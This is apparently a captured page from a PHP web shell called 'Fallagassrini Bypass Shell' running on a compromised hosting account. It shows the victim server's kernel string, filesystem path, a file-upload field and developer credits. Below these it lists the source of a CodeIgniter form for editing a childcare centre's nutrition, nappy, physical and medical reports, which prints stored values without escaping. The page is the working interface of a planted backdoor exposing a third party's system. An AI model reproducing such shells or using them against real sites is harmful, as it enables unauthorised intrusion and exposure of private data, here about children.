? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/futuredraft/application/views/student/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/futuredraft/application/views/student/edit_extra.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>
<div class="icons_main">
    <div  class="icons">   
        <img src="<?= base_url() ?>assets/images/back.png" title="Back" class="clickimage" onclick="viewdata('student','viewinstudentsearch','search_extra','view_extra','<?= $_SESSION['pagenum']; ?>')" alt="Back" align = "center" width="32" height="32"  />
    </div>
    <div class="icons_caption">
        <h4>UPDATING DAILY REPORTS</h4>
    </div>
</div>
<?php
$attributes = array('id' => 'validateform', 'class' => 'validate');
echo form_open('student/addinstudent/update_extra/view_extra/1', $attributes);
$teacher = $this->mastermodel->get_data('employee', '1', 'employee_teacher');
$nutrition_food_status = $this->mastermodel->getenumvalues('nutrition_food', 'nutrition_food_status');
$nutrition_nappies = $this->mastermodel->get_data('nutrition_nappies', $viewinfo->nutrition_id, 'nutrition_id');
$nutrition_nappies_status = $this->mastermodel->getenumvalues('nutrition_nappies', 'nutrition_nappies_status');
$nutrition_nappies_cream = $this->mastermodel->getenumvalues('nutrition_nappies', 'nutrition_nappies_cream');
$physical_status = $this->mastermodel->getenumvalues('physical', 'physical_status');
$physical = $this->mastermodel->get_data_srow('physical', $viewinfo->nutrition_id, 'physical_id');
$medical = $this->mastermodel->get_data_srow('medical', $viewinfo->nutrition_id, 'medical_id');
?>
<input type="hidden" name="nutrition_id" value="<?= $viewinfo->nutrition_id; ?>"/>
<table class="table">
    <tr><th style="text-align: left;padding-left:50px;padding-top:30px;color: red;">NUTRITION REPORTS</th></tr>
</table>
<div class="grid_12">
    <div class="grid_6">
        <div class="box">
            <div class="header main">Child Details</div>
            <div class="content no-padding">
                <div class="section _100">
                    <label>Student Name</label>
                    <div class="single_page">
                        <?= $this->mastermodel->get_single_field_value('student', 'first_name', 'student_id', $viewinfo->nutrition_student_id) ?>
                    </div>
                </div>
                <div class="section _100" >
                    <label> Looked After By</label>           
                    <div >
                        <select name="nutrition_teacher_id" id="nutrition_teacher_id" class="chzn-done"  >
                            <option value=''>Select</option>
                            <?php
                            foreach ($teacher as $list) {
                                ?>
                                <option value="<?= $list['employee_id'] ?>"<?php
                            if ($viewinfo->nutrition_teacher_id == $list['employee_id']) {
                                echo "selected";
                            }
                                ?>><?= $list['employee_name'] ?></option>
                                        <?php
                                    }
                                    ?>
                        </select>
                    </div>   

                </div> 

                <div class="section _100">
                    <label> Date</label>
                    <div  class="single_page">
                        <input name="nutrition_date" id="nutrition_date" type="text" class="calfocus" value="<?= $this->mastermodel->convertdatenormalformat($viewinfo->nutrition_date) ?>" />
                    </div>
                </div>

            </div>
        </div> 
    </div>
    <div class="grid_6">
        <div class="box">
            <div class="header main">Arr/ Dep Details</div>
            <div class="content no-padding">
                <div class="section _100">
                    <label> Child Arrived At </label>
                    <div>
                        <div>
                            <?php echo createHours('nutrition_arrived_hour', substr($viewinfo->nutrition_arrived, 0, 2)); ?>
                            <?php echo createMinutes('nutrition_arrived_minute', substr($viewinfo->nutrition_arrived, 3, 2)); ?>
                        </div>

                    </div>
                </div>
                <div class="section _100">
                    <label> Child Departed At </label>
                    <div>
                        <div>
                            <?php echo createHours('nutrition_departed_hour', substr($viewinfo->nutrition_departed, 0, 2)); ?>
                            <?php echo createMinutes('nutrition_departed_minute', substr($viewinfo->nutrition_departed, 3, 2)); ?>
                        </div>
                      
                    </div>
                </div>
            </div>
        </div> 
    </div>
</div>

<div class="grid_12">
    <div class="grid_6">
        <div class="box">
            <div class="content no-padding"> 
                <div class="header main"> Sleep</div>
                <table class="table">
                    <tr>
                        <th>From</th>
                        <th>To</th>

                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                    </tr>
                    <?php
                    $i = 1;
                    $nutrition_sleep = $this->mastermodel->get_data('nutrition_sleep', $viewinfo->nutrition_id, 'nutrition_id');
                    foreach ($nutrition_sleep as $list) {
                        ?>
                        <tr>
                            <td>
                                <?php echo createHours('nutrition_sleep_from_hour', substr($list['nutrition_sleep_from'], 0, 2)); ?>
                                <?php echo createMinutes('nutrition_sleep_from_minute', substr($list['nutrition_sleep_from'], 3, 2)); ?>
                            </td>

                            <td>
                                <?php echo createHours('nutrition_sleep_to_hour', substr($list['nutrition_sleep_to'], 0, 2)); ?>
                                <?php echo createMinutes('nutrition_sleep_to_minute', substr($list['nutrition_sleep_to'], 3, 2)); ?>

                            </td>

                            <td>
                                <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                            </td>
                        </tr>
                        <?php
                        $i++;
                    }
                    ?>
                    <tr>
                    <tr> 
                        <td>
                            <?php echo createHours('nutrition_sleep_from_hour', '24'); ?>
                            <?php echo createMinutes('nutrition_sleep_from_minute1', '61'); ?>


                        </td>
                        <td>
                            <?php echo createHours('nutrition_sleep_to_hour', '24'); ?>
                            <?php echo createMinutes('nutrition_sleep_to_minute1', '61'); ?>


                        </td>

                        <td>
                            <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                        </td>
                    </tr>
                </table>
            </div>
        </div>
    </div>
    <div class="grid_6">
        <div class="box">
            <div class="content no-padding"> 
                <div class="header main">Food</div>
                <table class="table">
                    <tr>
                        <th>Time</th>

                        <th>Consumption</th>
                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                    </tr>
                    <?php
                    $i = 1;
                    $nutrition_food = $this->mastermodel->get_data('nutrition_food', $viewinfo->nutrition_id, 'nutrition_id');

                    if (!empty($nutrition_food)) {
                        $food_id = 1;
                        foreach ($nutrition_food as $list) {
                            ?>
                            <tr>
                                <td>
                                    <?php echo createHours('nutrition_food_time_hour', substr($list['nutrition_food_time'], 0, 2)); ?>
                                    <?php echo createMinutes('nutrition_food_time_minute', substr($list['nutrition_food_time'], 3, 2)); ?>
                                </td>

                                <td>
                                    <table>
                                        <tr>
                                            <?php
                                            if (count($nutrition_food_status['val']) > 0) {

                                                foreach ($nutrition_food_status['val'] as $method) {
                                                    $checked = 0;
                                                    if ($list['nutrition_food_status'] == $method)
                                                        $checked = 1;
                                                    echo "<td style='padding: 7px 0px;border: 0px;width:1px'>
                                                <input  ";
                                                    if ($checked) {
                                                        echo "checked";
                                                    } echo " type='radio' value='$method'  name='nutrition_food_status$food_id' id='nutrition_food_status$food_id'/></td>
                                                <td style='border: 0px;width:55px'>" . $method . "</td>";
                                                    $food_id++;
                                                }
                                            }
                                            ?>
                                        </tr>
                                    </table>
                                </td>
                                <td>
                                    <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                                </td>
                            </tr>
                            <?php
                            $i++;
                        }
                    }
                    ?>
                    <tr>
                        <td>
                            <?php echo createHours('nutrition_food_time_hour', '24'); ?>
                            <?php echo createMinutes('nutrition_food_time_minute', '61'); ?>
                        </td>

                        <td>

                           <table>
                                <tr>
                                    <?php
                                    if (count($nutrition_food_status['val']) > 0) {
                                        $food_id = 1;
                                        foreach ($nutrition_food_status['val'] as $method) {
                                            echo "<td style='padding: 7px 0px;border: 0px;width:1px'>
                                                <input type='radio' value='$method'  name='nutrition_food_status'$food_id id='nutrition_food_status'$food_id /></td>
                                                <td style='border: 0px;width:55px'>" . $method . "</td>";
                                        }
                                    }
                                    ?>
                                </tr>
                            </table>
                        </td>
                        <td>
                            <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                        </td>
                    </tr>

                    <div class="section _100">
                        <label>Any dislikes?</label>
                        <div>
                            <input name="nutrition_food_dislike" id="nutrition_food_dislike" type="text" value="<?= $viewinfo->nutrition_food_dislike ?>"/>
                        </div>
                    </div>


                </table>
            </div>
        </div>
    </div>
</div>
<div class="grid_12">
    <div class="grid_6">
        <div class="box">
            <div class="content no-padding"> 
                <div class="header main"> Bottles</div>
                <table class="table">
                    <tr>
                        <th> Time</th>
                        <th> Amount</th>
                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                    </tr>
                    <?php
                    $i = 1;
                    $nutrition_bottle = $this->mastermodel->get_data('nutrition_bottle', $viewinfo->nutrition_id, 'nutrition_id');
                    foreach ($nutrition_bottle as $list) 
                    {
                        ?>
                        <tr>
                            <td>
                                <?php echo createHours('nutrition_bottle_time_hour', substr($list['nutrition_bottle_time'], 0, 2)); ?>
                                <?php echo createMinutes('nutrition_bottle_time_minute', substr($list['nutrition_bottle_time'], 3, 2)); ?>
                            </td>
                            <td><input class="w_90" value="<?= $list['nutrition_bottle_amount']; ?>" type="text" name="nutrition_bottle_amount<?= $i; ?>" id="nutrition_bottle_amount<?= $i; ?>"/></td>

                            <td>
                                <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                            </td>
                        </tr>
                        <?php
                        $i++;
                    }
                    ?>
                        <tr>
                            <td>
                                <?php echo createHours('nutrition_bottle_time_hour', '24'); ?>
                                <?php echo createMinutes('nutrition_bottle_time_minute', '61'); ?>
                            </td>
                            <td><input class="w_90" type="text" name="nutrition_bottle_amount<?= $i; ?>" id="nutrition_bottle_amount<?= $i; ?>"/></td>

                            <td>
                                <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                            </td>
                        </tr>
                </table>
            </div>

        </div>
    </div>

    <div class="grid_6" >
        <div class="box">
            <div class="content no-padding">     
                <div class="header main"> Nappies</div>
                <table class="table" id="student_tb">
                    <tr>                      
                        <th width="30%">Time</th>
                        <th width="40%">Status</th>
                        <th width="30%">Cream Applied?</th>

                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:55px;"/></th>
                    </tr> 
                    <?php
                    $i = 1;
                    $nappies_id = 1;
                    $cream_id=1;
                    foreach ($nutrition_nappies as $row) {
                        ?>
                        <tr>   
                            <td>
                                <?php echo createHours('nutrition_nappies_time_hour', substr($row['nutrition_nappies_time'], 0, 2)); ?>
                                <?php echo createMinutes('nutrition_nappies_time_minute', substr($row['nutrition_nappies_time'], 3, 2)); ?>

                            </td>
                            <td>
                                <table>
                                    <tr>
                                        <?php
                                        if (count($nutrition_nappies_status['val']) > 0) {

                                            foreach ($nutrition_nappies_status['val'] as $method) {
                                                $checked = 0;
                                                if ($row['nutrition_nappies_status'] == $method)
                                                    $checked = 1;
                                                echo "<td style='padding: 7px 0px;border: 0px;width:1px'>
                                                <input  ";
                                                if ($checked) {
                                                    echo "checked";
                                                } echo " type='radio' value='$method'  name='nutrition_nappies_status$nappies_id' id='nutrition_nappies_status$nappies_id'/></td>
                                                <td style='border: 0px;width:55px'>" . $method . "</td>";
                                                $nappies_id++;
                                            }
                                        }
                                        ?>
                                    </tr>
                                </table>

                            </td>
                            <td>
                                <table>
                                    <tr>
                                        <?php
                                        if (count($nutrition_nappies_cream['val']) > 0) {
                                            
                                            foreach ($nutrition_nappies_cream['val'] as $method) {
                                                $checked = 0;
                                                if ($row['nutrition_nappies_cream'] == $method)
                                                    $checked = 1;
                                                echo "<td style='padding: 7px 0px;border: 0px;width:1px'>
                                                <input ";
                                                if ($checked) {
                                                    echo " checked";
                                                } echo " type='radio' id='nutrition_nappies_cream$cream_id' name='nutrition_nappies_cream$cream_id' value='" . $method . "'/></td><td style='border: 0px;width:55px'>" . $method . "</td>";
                                           
                                                
                                            } 
                                        }$cream_id++;
                                        ?>
                                    </tr>
                                </table>
                            </td>
                            <td>
                                <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                            </td>
                        </tr>
                        <?php
                        $i++;
                    }
                    ?>
                    <tr>   
                        <td>
                            <?php echo createHours('nutrition_nappies_time_hour', '24'); ?>
                            <?php echo createMinutes('nutrition_nappies_time_minute', '61'); ?>

                        </td>
                        <td>
                            <table>
                                <tr>
                                    <?php
                                    if (count($nutrition_nappies_status['val']) > 0) {
                                        $nappies_id = 1;
                                        foreach ($nutrition_nappies_status['val'] as $method) {
                                            echo "<td style='padding: 7px 0px;border: 0px;width:1px'><input type='radio' id='nutrition_nappies_status$nappies_id' name='nutrition_nappies_status$nappies_id' value='" . $method . "'/></td><td style='border: 0px;width:55px'>" . $method . "</td>";
                                        }
                                    }
                                    ?>
                                </tr>
                            </table>
                        </td>
                        <td>
                            <table>
                                <tr>
                                    <?php
                                    if (count($nutrition_nappies_cream['val']) > 0) {
                                        foreach ($nutrition_nappies_cream['val'] as $method) {
                                            $cream_id = 1;
                                            echo "<td style='padding: 7px 0px;border: 0px;width:1px'><input type='radio' id='nutrition_nappies_cream$cream_id' name='nutrition_nappies_cream$cream_id' value='" . $method . "'/></td><td style='border: 0px;width:55px'>" . $method . "</td>";
                                        }
                                    }
                                    ?>
                                </tr>
                            </table>
                        </td>
                        <td>
                            <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                        </td>
                    </tr>
                </table>
            </div>
        </div>
    </div>
</div> 
<div class="grid_12">
    <div class="grid_6">
        <div class="box">
            <div class="header main">Other </div>
            <div class="content no-padding">

                <div class="section _100">
                    <label>Outside Play/Indoor Activities</label>
                    <div>
                        <textarea name="nutrition_play" id="nutrition_play" type="text"><?= $viewinfo->nutrition_play ?></textarea>
                    </div>
                </div>

            </div>
        </div> 
    </div>
    <div class="grid_6">
        <div class="box">
            <div class="header main">Other </div>
            <div class="content no-padding">


                <div class="section _100">
                    <label>  Requirements</label>
                    <div>
                        <textarea name="nutrition_requirement" id="nutrition_requirement" type="text"><?= $viewinfo->nutrition_requirement ?></textarea>
                    </div>
                </div>

            </div>
        </div> 
    </div>
</div>
<!--<div class="grid_12">
    <div class="box">
        <div class="actions"> 
            <div class="actions-left">
                <button class="clickimage">Preview</button>
            </div>
            <div class="actions-right">
                <button class="clickimage">Nutrition Report</button>
            </div>
        </div> 
    </div>
</div>       -->
<table class="table">
    <tr><th style="text-align: left;padding-left:50px;padding-top:30px;color: red;">PHYSICAL REPORTS</th></tr>
</table>
<div class="grid_12">
    <div class="grid_6">
        <div class="box">
            <div class="header main">Physical Details</div>
            <div class="content no-padding">
                <div class="section _100">
                    <label>Child appeared to be</label>
                    <div>
                        <?php
//                        echo $physical->physical_status.'shan';
                        if (count($physical_status['val']) > 0) {
                           

                            foreach ($physical_status['val'] as $method) {
                                $checked = 0;
                                if ($physical->physical_status == $method)
                                    $checked = 1;
                                echo "<td style='padding: 7px 0px;border: 0px;width:1px'>
                                      <input ";
                                if ($checked) {
                                    echo " checked";
                                } echo " type='radio' id='physical_status' name='physical_status' value='" . $method . "'/></td>
                             
                                <td style='border: 0px;width:55px'>" . $method . "</td>";
                                
                            }
                        }
                        ?>
                    </div>
                </div>
                <div class="section _100">
                    <label> Essentials Required</label>
                    <div class="single_page">
                        <?php
                        $essentials = array();
                        if ($physical->physical_essentials != "") {
                            $essentials = explode(',', $physical->physical_essentials);
                        }
                        ?>
                        <input type="checkbox" name="physical_essentials[]" value="Spare Clothes" <?= (in_array('Spare Clothes', $essentials)) ? "checked" : "" ?>/>Spare Clothes
                        <input type="checkbox" name="physical_essentials[]" value="Underwear" <?= (in_array('Underwear', $essentials)) ? "checked" : "" ?>/>Underwear
                        <input type="checkbox" name="physical_essentials[]" value="Nappies" <?= (in_array('Nappies', $essentials)) ? "checked" : "" ?>/>Nappies
                    </div>
                </div>
                <div class="section _100">
                    <label>Essentials Other</label>
                    <div class="single_page">
                        <textarea name="physical_essentials_other" id="physical_essentials_other" type="text"><?= $physical->physical_essentials_other ?></textarea>
                    </div>
                </div>
                <div class="section _100">
                    <label>Nappies or Toileting</label>
                    <div class="single_page">
                        <textarea name="physical_nappies" id="physical_nappies" type="text"><?= $physical->physical_nappies ?></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="grid_6">
        <div class="box">
            <div class="header main">Physical Details</div>
            <div class="content no-padding">


                <div class="section _100">
                    <label>Play and Learning</label>
                    <div class="single_page">
                        <textarea name="physical_learning" id="physical_learning" type="text"><?= $physical->physical_learning ?></textarea>
                    </div>
                </div>
                <div class="section _100">
                    <label>   Any Comments</label>
                    <div class="single_page">
                        <textarea name="physical_meal_comments" id="physical_meal_comments" type="text"><?= $physical->physical_meal_comments ?></textarea>
                    </div>
                </div>

            </div>
        </div> 
    </div>
</div>
<!--<div class="grid_12">
    <div class="box">
        <div class="actions"> 
            <div class="actions-left">
                <button class="clickimage">Preview</button>
            </div>
            <div class="actions-right">
                <button class="clickimage">Physical Report</button>
            </div>
        </div> 
    </div>
</div>-->

<table class="table">
    <tr><th style="text-align: left;padding-left:50px;padding-top:30px;color: red;">MEDICAL REPORTS</th></tr>
</table>
<div class="grid_6">
    <div class="box">
        <div class="header main">Medical Details </div>
        <div class="content no-padding">
            <div class="section _100">
                <label>Health Status</label>
                <div>
                    <textarea name="medical_health_status" id="Medical"><?= $medical->medical_health_status; ?></textarea>
                </div>
            </div>
            <div class="section _100">
                <label>Medication</label>
                <div>
                    <textarea name="medical_medication" id="Medical"><?= $medical->medical_medication; ?></textarea>
                </div>
            </div>
            
        </div>

    </div> 
</div>
<div class="grid_6">
    <div class="box">
        <div class="header main">Medical Details </div>
        <div class="content no-padding">
            
            <div class="section _100">
                <label>Special Requirements</label>
                <div>
                    <textarea name="medical_special_requirements" id="Medical"><?= $medical->medical_special_requirements; ?></textarea>
                </div>
            </div>
            <div class="section _100">
                <label>Notes</label>
                <div>
                    <textarea name="medical_notes" id="Medical"><?= $medical->medical_notes; ?></textarea>
                </div>
            </div>
        </div>

    </div> 
</div>
<!--<div class="grid_12">
    <div class="box">
        <div class="actions"> 
            <div class="actions-left">
                <button class="clickimage">Preview</button>
            </div>
            <div class="actions-right">
                <button class="clickimage">Medical Report</button>
            </div>
        </div> 
    </div>
</div>-->
<br/><br/>
<div class="grid_12" >
    <div class="box">

        <div class="actions"> 
            <div class="actions-left">
                <input type="reset" />
                <input type="hidden" name="tab_name" value="nutrition"/>
                <input type="hidden" name="resfunction" value="search_extra"/>
            </div>           
            <div class="actions-right">
                <button type="submit" id="submitt" class="clickimage" onclick="addformdata('validateform')">Save</button>
            </div>
        </div>    

    </div>

</div>


<?php echo form_close(); ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net